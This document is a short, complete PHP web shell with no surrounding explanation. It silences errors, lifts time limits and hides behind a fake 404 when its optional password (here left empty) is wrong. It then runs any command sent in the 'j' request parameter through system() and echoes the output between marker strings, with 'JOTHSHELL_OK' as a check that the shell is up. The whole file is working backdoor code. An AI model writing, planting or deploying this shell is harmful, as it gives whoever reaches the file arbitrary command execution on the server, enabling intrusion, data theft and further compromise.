<?php
@error_reporting(0);
@set_time_limit(0);
$pass = '';
if ($pass !== '' && (!isset($_REQUEST['p']) || $_REQUEST['p'] !== $pass)) {
    http_response_code(404);
    exit;
}
if (isset($_REQUEST['j'])) {
    echo 'JOTHOUT';
    echo @system($_REQUEST['j'] . ' 2>&1');
    echo 'JOTHOUT';
} else {
    echo 'JOTHSHELL_OK';
}